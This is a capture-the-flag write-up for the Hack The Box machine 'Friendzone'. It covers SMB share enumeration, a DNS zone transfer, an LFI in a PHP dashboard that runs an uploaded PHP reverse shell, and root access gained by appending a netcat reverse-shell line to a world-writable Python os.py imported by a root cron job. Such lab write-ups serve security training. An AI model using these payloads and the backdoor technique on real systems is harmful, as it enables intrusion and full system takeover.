Friendzone - Hack The Box
Friendzone is an easy box with some light enumeration of open SMB shares and sub-domains. I used an LFI vulnerability combined with a writable SMB share to get RCE and a reverse shell. A cron job running as root executes a python script every few minutes and the OS module imported by the script is writable so I can modify it and add code to get a shell as root.
Summary
- A SMB share I access to contains credentials
- I can do a zone transfer and find a bunch of sub-domains
- The dashboard page contains an LFI which I can use in combination with the writable SMB share to get RCE
- After getting a shell as
www-data
, I find plaintext credentials that I use to log in as userfriend
- A python script using
os.py
runs as root andos.py
is writable so I can add code to get a reverse shell as root
Detailed steps
Nmap scan
The box has a got a couple of services running. I take note of the DNS server since this could be used to do a DNS zone transfer and query various records that may contain useful information.
# nmap -sC -sV -p- 10.10.10.123
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 19:05 EST
Nmap scan report for friendzone.htb (10.10.10.123)
Host is up (0.013s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
|_ http/1.1
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
FTP site
Anonymous access is not allowed on the FTP server:
# ftp 10.10.10.123
Connected to 10.10.10.123.
220 (vsFTPd 3.0.3)
Name (10.10.10.123:root): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
Nothing pops up on Exploit-DB for this version of vsFTPd so I’ll move on.
Web enumeration
The site is just a simple page with nothing interactive on it but there is a domain name at the bottom which I’ll investigate further.
SMB shares
Using smbmap
I can list the shares on the box:
# smbmap -H 10.10.10.123
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.123...
[+] IP: 10.10.10.123:445 Name: friendzone.htb
Disk Permissions
---- -----------
print$ NO ACCESS
Files NO ACCESS
general READ ONLY
Development READ, WRITE
IPC$ NO ACCESS
I can also find where the shares on the filesystem are mapped with the smb-enum-shares
nmap script:
# nmap -p 445 --script=smb-enum-shares 10.10.10.123
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 20:52 EST
Nmap scan report for friendzone.htb (10.10.10.123)
Host is up (0.0089s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.10.123\Development:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\Development
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\Files:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files /etc/Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\hole
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.10.123\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (FriendZone server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\general:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\general
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
Nmap done: 1 IP address (1 host up) scanned in 2.82 seconds
Listing files from the share:
# smbmap -H 10.10.10.123 -r
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.123...
[+] IP: 10.10.10.123:445 Name: friendzone.htb
Disk Permissions
---- -----------
print$ NO ACCESS
Files NO ACCESS
general READ ONLY
./
dr--r--r-- 0 Wed Jan 16 15:10:51 2019 .
dr--r--r-- 0 Wed Jan 23 16:51:02 2019 ..
fr--r--r-- 57 Tue Oct 9 19:52:42 2018 creds.txt
Development READ, WRITE
./
dr--r--r-- 0 Sat Feb 9 15:50:02 2019 .
dr--r--r-- 0 Wed Jan 23 16:51:02 2019 ..
IPC$ NO ACCESS
creds.txt
looks interesting:
# smbclient -U "" //10.10.10.123/general
Enter HTB\'s password:
Try "help" to get a list of possible commands.
smb: \> get creds.txt
getting file \creds.txt of size 57 as creds.txt (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
smb: \> exit
root@ragingunicorn:~/htb/friendzone# cat creds.txt
creds for the admin THING:
admin:WORKWORKHhallelujah@#
Found some credentials: admin
/ WORKWORKHhallelujah@#
Sub-domains enumeration
Now that I have credentials, I just need to find where to use them.
I can do a zone transfer for that domain I saw earlier on the main page and get the list of all sub-domains:
# host -t axfr friendzone.red 10.10.10.123
Trying "friendzone.red"
Using domain server:
Name: 10.10.10.123
Address: 10.10.10.123#53
Aliases:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56850
;; flags: qr aa; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;friendzone.red. IN AXFR
;; ANSWER SECTION:
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red. 604800 IN AAAA ::1
friendzone.red. 604800 IN NS localhost.
friendzone.red. 604800 IN A 127.0.0.1
administrator1.friendzone.red. 604800 IN A 127.0.0.1
hr.friendzone.red. 604800 IN A 127.0.0.1
uploads.friendzone.red. 604800 IN A 127.0.0.1
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
Received 250 bytes from 10.10.10.123#53 in 12 ms
I’ll add those entries to my local /etc/hosts
.
Upload page
There’s a php application to upload images at https://uploads.friendzone.red
.
Whenever I upload a file (image or not), I get a successful message:
Administrator page
The https://administrator1.friendzone.red
page contains a login form on which I can use the credentials I found in the SMB share.
After logging in I am asked to go to dashboard.php
.
The dashboard page seems to be some application that deals with images, but it’s not really clear what it does except take an image name as a parameter and a pagename.
If I try the parameters displayed on the page I get:
The image is linked to /images
, but none of the files I tried to upload from the previous upload page are found in that directory.
There’s an LFI in the pagename
parameter and I can use a PHP base64 encode filter to read files:
Request: https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=pagename=php://filter/convert.base64-encode/resource=dashboard
The base64 encoded text is the source code for dashboard.php
:
<?php
//echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
//echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
echo "<title>FriendZone Admin !</title>";
$auth = $_COOKIE["FriendZoneAuth"];
if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){
echo "<br><br><br>";
echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
if(!isset($_GET["image_id"])){
echo "<br><br>";
echo "<center><p>image_name param is missed !</p></center>";
echo "<center><p>please enter it to show the image</p></center>";
echo "<center><p>default is image_id=a.jpg&pagename=timestamp</p></center>";
}else{
$image = $_GET["image_id"];
echo "<center><img src='images/$image'></center>";
echo "<center><h1>Something went worng ! , the script include wrong param !</h1></center>";
include($_GET["pagename"].".php");
//echo $_GET["pagename"];
}
}else{
echo "<center><p>You can't see the content ! , please login !</center></p>";
}
?>
The .php
suffix is added automatically after the filename so I can’t arbitrarily read any files. I tried the PHP path truncation technique as well as adding null bytes at the end of string but I was not able to bypass this.
I also dumped the upload.php
source code and saw that the upload thing is just a troll since it doesn’t do anything.
<?php
// not finished yet -- friendzone admin !
if(isset($_POST["image"])){
echo "Uploaded successfully !<br>";
echo time()+3600;
}else{
echo "WHAT ARE YOU TRYING TO DO HOOOOOOMAN !";
}
?>
Getting a shell with PHP
The Development
share I saw earlier is writable by the guest user so I can upload a PHP reverse shell in there and use the LFI to trigger it. The full path of the share is /etc/Development
as indicated in the nmap script output.
# smbclient -U "" //10.10.10.123/Development
Enter HTB\'s password:
Try "help" to get a list of possible commands.
smb: \> put shell.php
putting file shell.php as \shell.php (184.9 kb/s) (average 184.9 kb/s)
smb: \>
I trigger the shell with the following request: https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell
# nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.123] 36974
Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
23:16:59 up 35 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@FriendZone:/$
Found other credentials in the /var/www
directory:
www-data@FriendZone:/var/www$ ls -la
ls -la
total 36
drwxr-xr-x 8 root root 4096 Oct 6 15:47 .
drwxr-xr-x 12 root root 4096 Oct 6 02:07 ..
drwxr-xr-x 3 root root 4096 Jan 16 22:13 admin
drwxr-xr-x 4 root root 4096 Oct 6 01:47 friendzone
drwxr-xr-x 2 root root 4096 Oct 6 01:56 friendzoneportal
drwxr-xr-x 2 root root 4096 Jan 15 21:08 friendzoneportaladmin
drwxr-xr-x 3 root root 4096 Oct 6 02:05 html
-rw-r--r-- 1 root root 116 Oct 6 15:47 mysql_data.conf
drwxr-xr-x 3 root root 4096 Oct 6 01:39 uploads
www-data@FriendZone:/var/www$ cat mysql_data.conf
cat mysql_data.conf
for development process this is the mysql creds for user friend
db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ
There’s a friend
user in the local passwd database:
www-data@FriendZone:/var/www$ grep friend /etc/passwd
grep friend /etc/passwd
friend:x:1000:1000:friend,,,:/home/friend:/bin/bash
I can SSH in with those credentials and grab the user.txt
flag:
root@ragingunicorn:~/htb/friendzone# ssh friend@10.10.10.123
Ilcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have mail.
Last login: Sat Feb 9 23:43:09 2019 from 10.10.14.23
friend@FriendZone:~$ cat user.txt
a9ed20...
Privesc
/opt/server_admin
contains a reporter.py
script that probably runs every minutes in a root owned cronjob:
friend@FriendZone:/opt/server_admin$ cat reporter.py
#!/usr/bin/python
import os
to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"
print "[+] Trying to send email to %s"%to_address
#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)
# I need to edit the script later
# Sam ~ python developer
I can confirm it’s running in a cronjob by using pspy:
The script doesn’t really do anything except import the standard os
module.
Looking at the module definition, I see that the permissions are world writable on the one for Python 2.7:
friend@FriendZone:/opt/server_admin$ find /usr -name os.py 2>/dev/null
/usr/lib/python3.6/os.py
/usr/lib/python2.7/os.py
friend@FriendZone:/opt/server_admin$ ls -l /usr/lib/python2.7/os.py
-rwxrwxrwx 1 root root 25910 Jan 15 22:19 /usr/lib/python2.7/os.py
friend@FriendZone:/opt/server_admin$ ls -l /usr/lib/python3.6/os.py
-rw-r--r-- 1 root root 37526 Sep 12 21:26 /usr/lib/python3.6/os.py
I can modify the os.py
file and add a reverse shell at the end so when the module is imported by the script it’ll execute my reverse shell.
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 5555 >/tmp/f")
A few moments later I get a shell as root:
# nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.123] 60168
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
b0e6c6...